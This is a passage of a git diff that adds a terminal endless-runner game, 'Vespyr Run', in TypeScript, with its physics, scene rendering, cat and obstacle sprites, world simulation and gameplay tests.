SPRITE_H = 8; +export const HB_X = 3; +export const CAT_W = 7; +export const STAND_H = 7; +export const DUCK_H = 4; +/** A ducking press lasts this many steps and a new press restarts it (a held key repeats). */ +export const DUCK_STEPS = 40; +/** An Up pressed this close before landing is remembered and jumps on touchdown. */ +export const JUMP_BUFFER_STEPS = 6; + +/** Speed (px/s) and the distance (px) over which difficulty ramps from its start to its cap. */ +export const SPEED_START = 48; +export const SPEED_MAX = 96; +export const RAMP_PX = 9000; + +export const speedAt = (distance: number): number => SPEED_START + (SPEED_MAX - SPEED_START) * difficultyAt(distance); +/** 0..1, nondecreasing, capped: drives speed, density, cluster size and the aerial share. */ +export const difficultyAt = (distance: number): number => Math.min(1, Math.max(0, distance) / RAMP_PX); + +/** One step of vertical motion in the air; returns true on touchdown. Semi-implicit Euler, shared with the proofs. */ +export function airStep(state: {y: number; vy: number}, fast: boolean): boolean { + state.vy -= GRAVITY * (fast ? FAST_FALL : 1) * DT; + state.y += state.vy * DT; + if (state.y <= 0) { state.y = 0; state.vy = 0; return true; } + return false; +} + +/** Height after j steps of an ordinary (not fast-fall) jump; index 0 is takeoff, the last entry is the landing (0). */ +export const JUMP_PROFILE: readonly number[] = (() => { + const state = {y: 0, vy: JUMP_V}; + const heights = [0]; + for (let guard = 0; guard < 600; guard += 1) { const landed = airStep(state, false); heights.push(state.y); if (landed) break; } + return heights; +})(); +export const AIR_STEPS = JUMP_PROFILE.length - 1; +export const APEX = Math.max(...JUMP_PROFILE); + +/** Steps the player needs between landing and the next action, a deliberately generous human reaction. */ +export const REACT_STEPS = 12; +/** Out of a duck the next jump can start sooner: the decision was already made. */ +export const DUCK_REACT_STEPS = 6; +/** A window must leave this many steps of timing slack beyond the exact optimum to count as fair. */ +export const SAFE_STEPS = 8; +/** Narrowest takeoff window (steps) the generator accepts for an obstacle at a given speed (~0.2 s). */ +export const SLACK_STEPS = 12; +/** A jump must clear an obstacle's top by this many pixels. */ +export const CLEAR_PX = 1; +/** A duck can start this many steps before an aerial obstacle's contact and still hold through it. */ +export const DUCK_LEAD_STEPS = 24; +/** Aerial obstacles hang with their underside this high: above the ducking cat, below the standing one. */ +export const AERIAL_LIFT = 6; + +export interface JumpWindow { + /** Earliest and latest takeoff step relative to the first step of contact (negative: before it). */ + kmin: number; + kmax: number; +} + +/** + * The takeoff steps from which an ordinary jump clears a ground obstacle `width` wide and `height` tall at `speed`: + * the cat's feet stay at least `height + CLEAR_PX` above the ground for every step it overlaps the obstacle. Discretization + * is covered by checking one extra step either side. Undefined when no jump clears it. + */ +export function jumpWindow(width: number, height: number, speed: number): JumpWindow | undefined { + const contact = (width + CAT_W) / (speed * DT); + const last = Math.ceil(contact) + 1; + const need = height + CLEAR_PX; + let kmin: number | undefined; + let kmax: number | undefined; + for (let k = last - AIR_STEPS - 2; k <= 2; k += 1) { + let clear = true; + for (let n = 0; n <= last && clear; n += 1) { + const j = n - k; + if ((j >= 0 && j <= AIR_STEPS ? JUMP_PROFILE[j]! : 0) < need) clear = false; + } + if (clear) { kmin ??= k; kmax = k; } + } + return kmin === undefined || kmax === undefined ? undefined : {kmin, kmax}; +} + +/** Takeoff steps of slack the window offers (kmax - kmin + 1), 0 when none. */ +export const windowSize = (window: JumpWindow | undefined): number => (window ? window.kmax - window.kmin + 1 : 0); diff --git a/src/arcade/games/run/scene.ts b/src/arcade/games/run/scene.ts new file mode 100644 index 00000000..83bead4a --- /dev/null +++ b/src/arcade/games/run/scene.ts @@ -0,0 +1,173 @@ +import {mixRgb} from '../../../chroma/chroma.js'; +import {typeset} from '../../../ui/typography.js'; +import {Canvas, PixelBuffer} from '../../Canvas.js'; +import {clamp} from '../../easing.js'; +import type {Rgb} from '../../../chroma/escape.js'; +import type {ParticleSystem, Popups} from '../../effects.js'; +import {skyAt, type ArcadePalette} from '../../palette.js'; +import {catSprite, obstacleSprite, RUN_BOB, type CatLook} from './sprites.js'; +import {RunWorld} from './world.js'; + +/** The scene is drawn into one half-block pixel layer (width = columns, height = 2 x rows) over a gradient of cell backgrounds. */ +export const MIN_COLUMNS = 20; +export const MIN_ROWS = 8; +/** Ground band, in pixels from the bottom: surface line, a solid pixel, then one row of texture. */ +const GROUND_PX = 4; +/** Distance for one full day/night cycle. */ +export const DAY_PX = 8000; + +export interface Geometry { width: number; height: number; groundY: number; catX: number; skyRows: number } + +export function geometry(columns: number, rows: number): Geometry { + const height = rows * 2; + return {width: columns, height, groundY: height - GROUND_PX, catX: clamp(Math.floor(columns * 0.14), 4, 24), skyRows: Math.max(1, rows - GROUND_PX / 2)}; +} + +export interface SceneView { + world: RunWorld; + alpha: number; + palette: ArcadePalette; + /** Parallax, clouds, stars and shadows; off without color, where every lit pixel would be the same solid block. */ + decor: boolean; + reduced: boolean; + visualMs: number; + look: CatLook; + particles: ParticleSystem; + popups: Popups; + shake: {x: number; y: number}; + flash: number; + score: number; + best: number; + /** 0..1 while the score counter is celebrating a milestone. */ + pop: number; + phase: 'ready' | 'playing' | 'over'; +} + +const hash = (value: number): number => { + let h = Math.imul(value ^ 0x9e3779b9, 0x85ebca6b); + h ^= h >>> 13; + h = Math.imul(h, 0xc2b2ae35); + return (h ^ (h >>> 16)) >>> 0; +}; + +export class RunScene { + private buffer = new PixelBuffer(0, 0); + + draw(canvas: Canvas, view: SceneView): void { + const geo = geometry(canvas.width, canvas.height); + if (this.buffer.width !== geo.width || this.buffer.height !== geo.height) this.buffer = new PixelBuffer(geo.width, geo.height); + const {palette, world} = view; + const buffer = this.buffer; + buffer.clear(); + const distance = world.prevDistance + (world.distance - world.prevDistance) * view.alpha; + const feet = world.prevY + (world.y - world.prevY) * view.alpha; + const sky = skyAt(palette, distance / DAY_PX); + const lift = (color: Rgb): Rgb => (view.flash > 0 ? mixRgb(color, palette.haze, view.flash * 0.7) : color); + const ground = mixRgb(palette.dusk, palette.deep, 0.45); + + canvas.clear(lift(sky.bottom)); + for (let row = 0; row < geo.skyRows; row += 1) canvas.fill(0, row, canvas.width, 1, ' ', {bg: lift(mixRgb(sky.top, sky.bottom, (row + 0.5) / geo.skyRows))}); + canvas.fill(0, geo.skyRows, canvas.width, canvas.height - geo.skyRows, ' ', {bg: ground}); + + if (view.decor) this.backdrop(view, geo, distance, sky); + this.groundLine(canvas, buffer, view, geo, distance, ground); + + const camera = distance - geo.catX; + const flap = Math.floor(distance / 6) % 2 === 1; + for (const o of world.course.obstacles) { + const x = Math.round(o.x - camera); + if (x >= geo.width) break; + if (x + o.w < 0) continue; + const sprite = obstacleSprite(o.kind, palette, flap); + const top = geo.groundY - o.lift - o.h; + for (let unit = 0; unit < o.count; unit += 1) buffer.sprite(sprite, x + unit * (sprite.width + 1), top); + } + + if (view.decor && feet > 0.5) { + const span = Math.max(3, Math.round(10 - feet / 2.5)); + buffer.rect(geo.catX + 7 - Math.floor(span / 2), geo.groundY - 1, span, 1, mixRgb(palette.deep, ground, 0.3)); + } + if (view.decor) view.particles.draw(buffer, sky.bottom); + const sprite = catSprite(view.look, palette); + const bob = view.look.shape === 'run' ? RUN_BOB[view.look.frame % RUN_BOB.length]! : 0; + buffer.sprite(sprite, geo.catX, geo.groundY - sprite.height - Math.round(feet) - bob, true); + if (!view.decor) view.particles.draw(buffer); + + canvas.blit(buffer, view.shake.x, view.shake.y); + if (view.decor) view.popups.draw(canvas, sky.top); + this.hud(canvas, view, geo); + } + + /** Stars at night, clouds, distant hills and a nearer row of shrubs, each scrolling at its own fraction of the speed. */ + private backdrop(view: SceneView, geo: Geometry, distance: number, sky: {top: Rgb; bottom: Rgb; stars: number}): void { + const palette = view.palette; + const buffer = this.buffer; + const still = view.reduced; + if (sky.stars > 0.05) { + const count = Math.floor((geo.width * geo.groundY) / 110); + const twinkle = still ? 0 : Math.floor(view.visualMs / 450); + for (let index = 0; index < count; index += 1) { + const x = (hash(index * 2) % geo.width); + const y = hash(index * 2 + 1) % Math.max(1, geo.groundY - 12); + const dim = (index + twinkle) % 7 === 0 ? 0.35 : 1; + buffer.set(x, y, mixRgb(sky.top, palette.ink, clamp(sky.stars * 0.75 * dim, 0, 1))); + } + } + const cloud = mixRgb(sky.bottom, palette.haze, 0.5); + const drift = still ? 0 : view.visualMs * 0.004; + for (let index = 0; index < 5; index += 1) { + const span = geo.width + 40; + const x = ((((hash(index) % span) - distance * 0.05 - drift) % span) + span) % span - 20; + const y = 2 + (hash(index + 40) % Math.max(2, Math.floor(geo.groundY / 3))); + buffer.ellipse(Math.round(x), y, 10, 3, cloud); + buffer.ellipse(Math.round(x) + 2, y - 1, 6, 3, cloud); + } + const far = mixRgb(sky.bottom, palette.dusk, 0.55); + const near = mixRgb(sky.bottom, palette.deep, 0.5); + for (let x = 0; x < geo.width; x += 1) { + const u = x + distance * 0.12; + const height = Math.max(1, Math.round(5 + 3 * Math.sin(u * 0.09) + 2 * Math.sin(u * 0.23 + 1.3))); + buffer.rect(x, geo.groundY - height, 1, height, far); + const v = x + distance * 0.3; + const cell = Math.floor(v / 7); + const bump = Math.round((2 + (hash(cell) % 3)) * (1 - Math.abs((v - cell * 7) - 3) / 4)); + if (bump > 0) buffer.rect(x, geo.groundY - bump, 1, bump, near); + } + } + + private groundLine(canvas: Canvas, buffer: PixelBuffer, view: SceneView, geo: Geometry, distance: number, ground: Rgb): void { + const {palette} = view; + buffer.rect(0, geo.groundY, geo.width, 1, palette.accent); + buffer.rect(0, geo.groundY + 1, geo.width, 1, mixRgb(palette.accent, ground, 0.55)); + const scroll = Math.floor(distance); + const texture = geo.skyRows + 1; + for (let x = 0; x < geo.width; x += 1) { + const n = hash(x + scroll) % 9; + if (n === 0 && view.decor) buffer.set(x, geo.groundY - 1, palette.muted); + if (texture < canvas.height && n < 3) canvas.put(x, texture, n === 0 ? '·' : ':', {fg: palette.faint, bg: ground}); + } + } + + private hud(canvas: Canvas, view: SceneView, geo: Geometry): void { + const {palette} = view; + const digits = String(Math.min(view.score, 99999)).padStart(5, '0'); + const room = canvas.width - 14; + const block = typeset({role: 'counter', text: digits, maxColumns: Math.max(5, room), maxRows: canvas.height >= 16 ? 2 : 1}); + const lit = view.pop > 0; + canvas.typeBlock(block, Math.max(0, canvas.width - block.columns - 1), 0, {fg: lit ? palette.accent : palette.ink, bold: true, underline: lit}); + if (canvas.width >= 28) canvas.text(1, 0, `HI ${String(Math.min(view.best, 99999)).padStart(5, '0')}`, {fg: palette.muted, bold: false}); + if (view.phase !== 'ready') return; + const title = typeset({role: 'title', text: 'Vespyr Run', maxColumns: canvas.width - 4, maxRows: 2}); + const top = clamp(Math.floor(geo.skyRows / 3) - 1, 1, Math.max(1, geo.skyRows - title.rows - 3)); + canvas.typeBlock(title, Math.max(0, Math.floor((canvas.width - title.columns) / 2)), top, {fg: palette.ink, bold: true}); + const prompt = canvas.width >= 34 ? 'Space or Up to run · Down to duck' : 'Space to run'; + if (top + title.rows < geo.skyRows) canvas.center(top + title.rows, prompt, {fg: palette.accent, bold: true}); + } +} + +/** The one-line note for a canvas smaller than the game can use. */ +export function drawTooSmall(canvas: Canvas, palette: ArcadePalette): void { + canvas.clear(); + const note = `Needs at least ${MIN_COLUMNS}x${MIN_ROWS}`; + canvas.text(0, Math.floor(canvas.height / 2), note.slice(0, Math.max(0, canvas.width)), {fg: palette.warn}); +} diff --git a/src/arcade/games/run/sprites.ts b/src/arcade/games/run/sprites.ts new file mode 100644 index 00000000..f760e780 --- /dev/null +++ b/src/arcade/games/run/sprites.ts @@ -0,0 +1,110 @@ +import type {Rgb} from '../../../chroma/escape.js'; +import {mixRgb} from '../../../chroma/chroma.js'; +import {catPixels} from '../../../idle/catSprite.js'; +import {spriteFromRows, type Sprite} from '../../Canvas.js'; +import type {ArcadePalette} from '../../palette.js'; +import type {ObstacleKind} from './course.js'; + +/** + * Vespyr's poses and the obstacle art, all authored as pixel rows. Every cat pose starts from `catPixels()` (so the + * ears, eyes, body, tail and four legs are the approved silhouette) and changes only legs, tail, ears and eyelids. + * The sprites face left like the source art; the renderer mirrors them to run to the right. + */ +export type CatShape = 'run' | 'air' | 'fall' | 'land' | 'duck' | 'hit' | 'idle' | 'blink'; + +const LEGS = ['..L.L....L.L..', '.L.L......L.L.', '.L..L....L..L.', '...LL....LL...', '..L.L....L.L..', '...L.L..L.L...'] as const; +/** The cat is lifted a pixel in the airy half of the gallop. */ +export const RUN_BOB: readonly number[] = [0, 0, 1, 1, 0, 0]; +export const RUN_FRAMES = LEGS.length; +const DUCK_LEGS = ['..L.L....L.L..', '...LL...LL....'] as const; + +const put = (rows: string[], row: number, column: number, value: string): void => { + const text = rows[row] ?? ''; + rows[row] = `${text.slice(0, column)}${value}${text.slice(column + 1)}`; +}; + +export interface CatLook { + shape: CatShape; + /** Gallop frame (from distance) for run and duck. */ + frame: number; + /** Tail position 0..3 (from distance, or time when idle). */ + tail: number; + /** An ear flick (a brief moment in the idle and run animation). */ + twitch: boolean; +} + +/** The pose's pixel rows (each exactly SPRITE_W wide; a duck is shorter). */ +export function catRows(look: CatLook): string[] { + const idle = catPixels('idle'); + let rows: string[]; + switch (look.shape) { + case 'air': rows = catPixels('jump'); break; + case 'fall': rows = idle; rows[7] = '.L.L......L.L.'; break; + case 'land': rows = catPixels('land'); break; + case 'blink': rows = catPixels('sit').map((row, index) => (index === 2 || index === 3 ? row.replace(/E/gu, 'L') : row)); break; + case 'hit': rows = catPixels('blink'); rows[7] = '.L.L......L.L.'; break; + case 'duck': + rows = ['.LLLLL......L.', '.LELELLLLLLLL.', '..LLLLLLLLLL..', '..LLLLLLLLLL..', DUCK_LEGS[look.frame % 2 === 0 ? 0 : 1]]; + return rows; + case 'run': rows = idle; rows[7] = LEGS[look.frame % RUN_FRAMES]!; break; + default: rows = catPixels('sit'); break; + } + if (look.shape === 'run' || look.shape === 'idle' || look.shape === 'blink') { + // Tail: base, flicked up, base, low. + const tail = look.tail % 4; + if (tail === 1) { put(rows, 0, 13, 'L'); put(rows, 1, 12, 'L'); put(rows, 2, 13, '.'); put(rows, 3, 12, '.'); } + if (tail === 3) { put(rows, 2, 13, '.'); put(rows, 3, 12, '.'); put(rows, 3, 13, 'L'); put(rows, 4, 12, 'L'); } + } + if (look.twitch) { put(rows, 0, 5, '.'); put(rows, 0, 6, 'L'); } + return rows; +} + +export function catSprite(look: CatLook, palette: ArcadePalette): Sprite { + const rows = catRows(look); + const last = rows.length - 1; + // Legs in the shade, the lower belly lit, everything else the body color. + const shaded = rows.map((row, index) => [...row].map((char, column) => { + if (char === 'E') return 'E'; + if (char !== 'L') return char; + if (index === last && look.shape !== 'duck') return 'S'; + if (index === last - 1 && column >= 4 && column <= 8) return 'B'; + return 'L'; + }).join('')); + return spriteFromRows(shaded, {L: palette.cat.body, S: palette.cat.shade, B: palette.cat.belly, E: palette.cat.eye}); +} + +// ---- obstacles ---------------------------------------------------------------------------------------------------- + +/** A = base color, B = darker accent, '.' = see-through (a slit in a crate, the hole in a ball of yarn). */ +const ART: Readonly> = { + crates: ['AAAAAA', 'AB..BA', 'AAAAAA', 'AAAAAA', 'AB..BA', 'AAAAAA'], + crate: ['AAAAAA', 'AB..BA', 'AAAAAA'], + yarn: ['.AAA.', 'ABAAA', 'AABBA', 'AAABA', '.AAA.'], + stones: ['..AA....', '.AABBA..', 'AAAABAAA'], + cans: ['.AA.', 'AAAA', 'ABBA', 'ABBA', 'AAAA'], + bird: ['.A......A.', '.AA....AA.', '..AAAAAA..', '.BAAAA....'], + plane: ['....AAAA', 'AAAAAABA', '...AAA..'], +}; +const BIRD_DOWN = ['..........', '..AAAAAA..', 'BAAAAAAAA.', '.A......A.']; + +/** Base colors for each obstacle, all from the palette. */ +export function obstacleColor(kind: ObstacleKind, palette: ArcadePalette): Rgb { + switch (kind) { + case 'crates': case 'crate': return palette.warn; + case 'yarn': return palette.accent; + case 'stones': return mixRgb(palette.muted, palette.ink, 0.35); + case 'cans': return palette.ink; + case 'bird': return palette.bad; + default: return palette.haze; + } +} + +/** One unit of an obstacle; `flap` picks the bird's wing. */ +export function obstacleSprite(kind: ObstacleKind, palette: ArcadePalette, flap = false): Sprite { + const base = obstacleColor(kind, palette); + const rows = kind === 'bird' && flap ? BIRD_DOWN : ART[kind]; + return spriteFromRows(rows, {A: base, B: mixRgb(base, palette.deep, 0.5)}); +} + +/** Rows of an obstacle's art, for tests (width and height must match the kind's physics box). */ +export const obstacleRows = (kind: ObstacleKind, flap = false): readonly string[] => (kind === 'bird' && flap ? BIRD_DOWN : ART[kind]); diff --git a/src/arcade/games/run/world.ts b/src/arcade/games/run/world.ts new file mode 100644 index 00000000..70aa9c33 --- /dev/null +++ b/src/arcade/games/run/world.ts @@ -0,0 +1,110 @@ +import {hashSeed, type Rng} from '../../rng.js'; +import {Course, type Obstacle} from './course.js'; +import {airStep, CAT_W, DT, DUCK_H, DUCK_STEPS, HB_X, JUMP_BUFFER_STEPS, JUMP_V, speedAt, STAND_H} from './physics.js'; + +/** Distance (px) per score point and per meter. Score is distance: 2 points per meter. */ +export const SCORE_PX = 5; +export const METER_PX = 10; +/** The course is always generated at least this far ahead of the cat. */ +export const LOOKAHEAD_PX = 420; + +export interface StepOutcome { + /** Steps spent in the air if the cat touched down on this step, otherwise 0. */ + landedAfter: number; + /** The obstacle the cat ran into on this step. */ + hit: Obstacle | undefined; +} + +/** Cat hitbox against one obstacle. Touching edges is clear; only a real overlap is a hit. */ +export function overlaps(left: number, feet: number, tall: number, o: Pick): boolean { + return left + CAT_W > o.x && left < o.x + o.w && feet < o.lift + o.h && feet + tall > o.lift; +} + +/** + * The simulation: a cat running along an endless course. One `step()` is exactly 1/60 s and the only thing that moves + * anything, so the same seed and the same inputs on the same steps give the same run at any frame rate. + */ +export class RunWorld { + readonly course: Course; + distance = 0; + prevDistance = 0; + y = 0; + prevY = 0; + vy = 0; + airborne = false; + fast = false; + duckLeft = 0; + alive = true; + steps = 0; + private buffer = 0; + private airSteps = 0; + + constructor(rng: Rng) { + this.course = new Course(rng); + this.course.ensure(LOOKAHEAD_PX); + } + + get speed(): number { return speedAt(this.distance); } + get ducking(): boolean { return !this.airborne && this.duckLeft > 0; } + get tall(): number { return this.ducking ? DUCK_H : STAND_H; } + get score(): number { return Math.floor(this.distance / SCORE_PX); } + get meters(): number { return Math.floor(this.distance / METER_PX); } + + /** Jump if on the ground; in the air, remember the press briefly so a jump lands exactly on touchdown. */ + jump(): boolean { + if (!this.alive) return false; + if (this.airborne) { this.buffer = JUMP_BUFFER_STEPS; return false; } + this.takeoff(); + return true; + } + + /** On the ground: duck for `DUCK_STEPS` (each press restarts it). In the air: fast fall, a short hop, then duck on landing. */ + duck(): void { + if (!this.alive) return; + if (this.airborne) this.fast = true; + this.duckLeft = DUCK_STEPS; + } + + private takeoff(): void { + this.airborne = true; + this.fast = false; + this.vy = JUMP_V; + this.duckLeft = 0; + this.airSteps = 0; + } + + step(): StepOutcome { + const outcome: StepOutcome = {landedAfter: 0, hit: undefined}; + if (!this.alive) return outcome; + this.steps += 1; + this.prevDistance = this.distance; + this.prevY = this.y; + this.distance += speedAt(this.distance) * DT; + if (this.duckLeft > 0) this.duckLeft -= 1; + if (this.buffer > 0) this.buffer -= 1; + if (this.airborne) { + this.airSteps += 1; + if (airStep(this, this.fast)) { + this.airborne = false; + this.fast = false; + outcome.landedAfter = this.airSteps; + if (this.buffer > 0) { this.buffer = 0; this.takeoff(); } + } + } + this.course.ensure(this.distance + LOOKAHEAD_PX); + this.course.prune(this.distance - 40); + const left = this.distance + HB_X; + const tall = this.tall; + for (const o of this.course.obstacles) { + if (o.x > left + CAT_W) break; + if (overlaps(left, this.y, tall, o)) { outcome.hit = o; this.alive = false; break; } + } + return outcome; + } + + /** A hash of everything that decides the future, for determinism tests. */ + hash(): number { + const parts = [this.distance, this.y, this.vy, this.duckLeft, this.buffer, this.steps, this.course.obstacles.length, this.course.obstacles[0]?.x ?? 0, this.alive ? 1 : 0, this.fast ? 1 : 0]; + return hashSeed(parts.map(part => part.toFixed(6)).join('|')); + } +} diff --git a/tests/arcadeRunGame.test.ts b/tests/arcadeRunGame.test.ts new file mode 100644 index 00000000..50c3344e --- /dev/null +++ b/tests/arcadeRunGame.test.ts @@ -0,0 +1,359 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {join} from 'node:path'; +import type {Key} from '../src/terminal/keys.js'; +import {ArcadeSession, type ArcadeEnvironment} from '../src/arcade/ArcadeSession.js'; +import {Canvas} from '../src/arcade/Canvas.js'; +import {ParticleSystem, type EffectsLevel} from '../src/arcade/effects.js'; +import {arcadePalette} from '../src/arcade/palette.js'; +import {createRng} from '../src/arcade/rng.js'; +import {ArcadeStore} from '../src/arcade/scores.js'; +import type {GameContext, GameInstance} from '../src/arcade/types.js'; +import {createRunGame, readRecord} from '../src/arcade/games/run/game.js'; +import {runGame} from '../src/arcade/games/run/index.js'; +import {KINDS, type Obstacle} from '../src/arcade/games/run/course.js'; +import {catRows} from '../src/arcade/games/run/sprites.js'; +import {obstacleRows} from '../src/arcade/games/run/sprites.js'; +import {AERIAL_LIFT, CAT_W, HB_X, SPRITE_W} from '../src/arcade/games/run/physics.js'; +import {RunWorld} from '../src/arcade/games/run/world.js'; +import {catPixels, CAT_PIXELS} from '../src/idle/catSprite.js'; +import {displayWidth} from '../src/util/text.js'; +import {playBot} from './support/runBot.js'; + +const SPACE: Key = {kind: 'text', value: ' '}; +const palette = arcadePalette(); + +interface Options { + seed?: number; columns?: number; rows?: number; color?: GameContext['color']; safe?: boolean; reduced?: boolean; effects?: EffectsLevel; + record?: Record; world?: (world: RunWorld) => void; particles?: ParticleSystem; +} + +function make(options: Options = {}) { + let record: Record = (options.record ?? {}) as Record; + const seed = options.seed ?? 3; + const context: GameContext = { + size: {columns: options.columns ?? 80, rows: options.rows ?? 16}, seed, rng: createRng(seed), + motion: {effects: options.effects ?? 'normal', reduced: options.reduced ?? false}, color: options.color ?? 'truecolor', safeGlyphs: options.safe ?? false, + record: {get: () => structuredClone(record), set: next => { record = next as typeof record; return true; }, update: change => { const copy = structuredClone(record); change(copy); record = copy; return true; }}, + now: () => 0, + }; + const world = new RunWorld(context.rng.fork('course')); + options.world?.(world); + const parts = {world, ...(options.particles ? {particles: options.particles} : {})}; + const game = createRunGame(context, parts); + const canvas = new Canvas(context.size.columns, context.size.rows); + const draw = (alpha = 1) => { game.render(canvas, alpha, palette); return canvas.plain(); }; + return {game, world, canvas, draw, context, record: () => record}; +} + +/** A road with nothing on it for a very long way. */ +const emptyRoad = (world: RunWorld): void => { + world.course.obstacles.length = 0; + (world.course as unknown as {free: number}).free = 1e9; +}; +/** One obstacle straight ahead, `ahead` pixels from the cat's hitbox. */ +const placeAhead = (world: RunWorld, kind: Obstacle['kind'], ahead: number): void => { + emptyRoad(world); + const spec = KINDS[kind]; + world.course.obstacles.push({id: 500, kind, x: world.distance + HB_X + CAT_W + ahead, w: spec.w, h: spec.h, lift: spec.air ? AERIAL_LIFT : 0, air: spec.air, count: 1}); +}; +const run = (game: GameInstance, steps: number): void => { for (let i = 0; i < steps && game.status === 'playing'; i += 1) { game.animate(16.7); game.step(1000 / 60); } }; + +test('definition: id, aliases, title, kind, rates and hints', () => { + assert.equal(runGame.id, 'run'); + assert.deepEqual([...runGame.aliases], ['vespyr-run', 'dino']); + assert.equal(runGame.title, 'Vespyr Run'); + assert.equal(runGame.kind, 'action'); + const {game} = make(); + assert.equal(game.stepsPerSecond, 60); + assert.equal(game.refreshMs, 100); + const hints = game.hints().map(hint => `${hint.keys} ${hint.action}`).join(' | '); + game.key(SPACE); + const playing = game.hints().map(hint => `${hint.keys} ${hint.action}`).join(' | '); + assert.match(hints, /Space\/Up run/u); + assert.match(playing, /Space\/Up jump.*Down duck.*p pause.*Esc menu/u); + assert.equal(runGame.summary({}), 'Not played yet'); + assert.equal(runGame.summary({best: 420, bestDistance: 210, runs: 3}), 'Best 420 · 210 m'); + const preview = new Canvas(30, 6); + for (let frame = 0; frame < 40; frame += 1) runGame.preview(preview, frame, palette); + assert.ok(preview.plain().join('').trim().length > 0); +}); + +test('state machine: ready until Space or Up; other keys do nothing; the first press starts and jumps', () => { + const {game, world} = make({world: emptyRoad}); + assert.equal(game.status, 'ready'); + for (const key of [{kind: 'down'}, {kind: 'enter'}, {kind: 'escape'}, {kind: 'text', value: 'x'}] as Key[]) assert.equal(game.key(key), 'ignored'); + game.step(1000 / 60); + assert.equal(world.steps, 0, 'a game that is ready never steps'); + assert.equal(game.key({kind: 'up'}), 'handled'); + assert.equal(game.status, 'playing'); + assert.equal(world.airborne, true, 'the first press also jumps'); + assert.equal(game.key({kind: 'down'}), 'handled'); + assert.equal(game.key({kind: 'text', value: 'x'}), 'ignored'); + assert.equal(game.key({kind: 'escape'}), 'ignored', 'Esc is the host\'s: it pauses a run and leaves a game that has not started'); +}); + +test('scoring: score is distance, shown as a leading-zero counter, and a milestone celebrates', () => { + const {game, world, draw, canvas} = make({world: emptyRoad}); + game.key(SPACE); + run(game, 60); + const score = world.score; + assert.equal(score, Math.floor(world.distance / 5)); + const hud = draw()[0]!; + assert.match(hud, new RegExp(`\\b${String(score).padStart(5, '0')}\\b`, 'u'), hud); + assert.match(hud, /HI \d{5}/u); + const counterX = canvas.width - 6; + const calm = canvas.cell(counterX, 0)!.fg; + while (world.score < 100) run(game, 1); + draw(); + assert.notDeepEqual(canvas.cell(counterX, 0)!.fg, calm, 'the counter lights up when passing 100'); + run(game, 700); + draw(); + assert.deepEqual(canvas.cell(counterX, 0)!.fg, calm, 'and settles again'); + assert.equal(game.status, 'playing'); +}); + +test('crash: the run holds for a beat, then ends with a result, details and a record', () => { + const {game, world, record} = make({world: w => placeAhead(w, 'crates', 30)}); + game.key(SPACE); + game.key({kind: 'down'}); + for (let i = 0; i < 200 && world.alive; i += 1) { game.step(1000 / 60); if (!world.airborne) world.duck(); } + assert.equal(world.alive, false); + assert.equal(game.status, 'playing', 'the impact is shown before the card'); + const before = world.steps; + run(game, 100); + assert.equal(game.status, 'over'); + assert.equal(world.steps, before, 'the world is frozen after the crash'); + const result = game.result!; + assert.equal(result.score, world.score); + assert.equal(result.scoreText, String(world.score).padStart(5, '0')); + assert.equal(result.record, true, 'first scoring run is a new best'); + assert.deepEqual(result.details, [`Distance ${world.meters} m`, `Best ${world.score}`, 'Runs 1']); + assert.deepEqual(record(), {best: world.score, bestDistance: world.meters, runs: 1}); + assert.equal(game.key(SPACE), 'ignored'); +}); + +test('records: best only grows, record flag only for a real new best, damaged records are cleaned, abandoned runs are not counted', () => { + assert.deepEqual(readRecord({best: 'lots', bestDistance: -4, runs: Number.NaN}), {best: 0, bestDistance: 0, runs: 0}); + assert.deepEqual(readRecord({best: 12.9, bestDistance: 1e30, runs: 3}), {best: 12, bestDistance: 1e9, runs: 3}); + assert.deepEqual(readRecord({best: null, bestDistance: {a: 1}, runs: [1]} as never), {best: 0, bestDistance: 0, runs: 0}); + const higher = make({record: {best: 99999, bestDistance: 5000, runs: 4}, world: w => placeAhead(w, 'crates', 20)}); + higher.game.key(SPACE); + run(higher.game, 400); + assert.equal(higher.game.status, 'over'); + assert.equal(higher.game.result!.record, false); + assert.deepEqual(higher.record(), {best: 99999, bestDistance: 5000, runs: 5}); + const junk = make({record: {best: 'x', runs: -2, bestDistance: 'y', stray: 1} as never, world: w => placeAhead(w, 'crates', 20)}); + junk.game.key(SPACE); + run(junk.game, 400); + assert.equal(junk.game.status, 'over'); + assert.equal(junk.game.result!.details[2], 'Runs 1'); + // Leaving mid run keeps a better score but does not count a run, and never counts twice. + const abandoned = make({record: {best: 3, bestDistance: 1, runs: 7}, world: emptyRoad}); + abandoned.game.key(SPACE); + run(abandoned.game, 300); + abandoned.game.persist(); abandoned.game.persist(); + assert.deepEqual(abandoned.record(), {best: abandoned.world.score, bestDistance: abandoned.world.meters, runs: 7}); + abandoned.game.dispose(); +}); + +test('persistence: a finished run survives a restart of the store', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-run-')); + try { + const first = new ArcadeStore({directory: dir}); + const handle = first.record('run'); + const context: GameContext = {size: {columns: 60, rows: 14}, seed: 2, rng: createRng(2), motion: {effects: 'normal', reduced: false}, color: 'none', safeGlyphs: false, record: handle, now: () => 0}; + const world = new RunWorld(context.rng.fork('course')); placeAhead(world, 'crates', 150); + const game = createRunGame(context, {world}); + game.key(SPACE); + run(game, 3000); + assert.equal(game.status, 'over'); + assert.ok(first.flush()); + const second = new ArcadeStore({directory: dir}).record('run').get(); + assert.deepEqual(second, {best: world.score, bestDistance: world.meters, runs: 1}); + assert.match(runGame.summary(second), /^Best \d+ · \d+ m$/u); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('pause and restart through the session: nothing steps while paused, status is the game\'s own, Retry builds a new run from a new seed', () => { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-run-s-')); + let now = 1000; + let seed = 10; + const env: ArcadeEnvironment = {store: new ArcadeStore({directory: dir}), now: () => now, motion: () => ({reduced: false, effects: 'normal'}), color: () => 'none', safeGlyphs: () => false, seed: () => seed}; + const session = new ArcadeSession(env, [runGame], {columns: 80, rows: 22}, runGame); + try { + const screen = () => session.render().rows.join('\n'); + const first = session.game!; + assert.equal(first.status, 'ready'); + assert.equal(session.key({kind: 'up'}), 'handled'); + assert.equal(first.status, 'playing'); + session.frame(200); + const moved = screen(); + session.key({kind: 'text', value: 'p'}); + assert.equal(session.screen, 'paused'); + assert.equal(first.status, 'playing', 'the host does not change the game\'s status'); + session.frame(1000); + assert.match(screen(), /Paused/u); + session.key({kind: 'enter'}); + assert.equal(session.screen, 'playing'); + assert.notEqual(moved, ''); + // Die without acting, 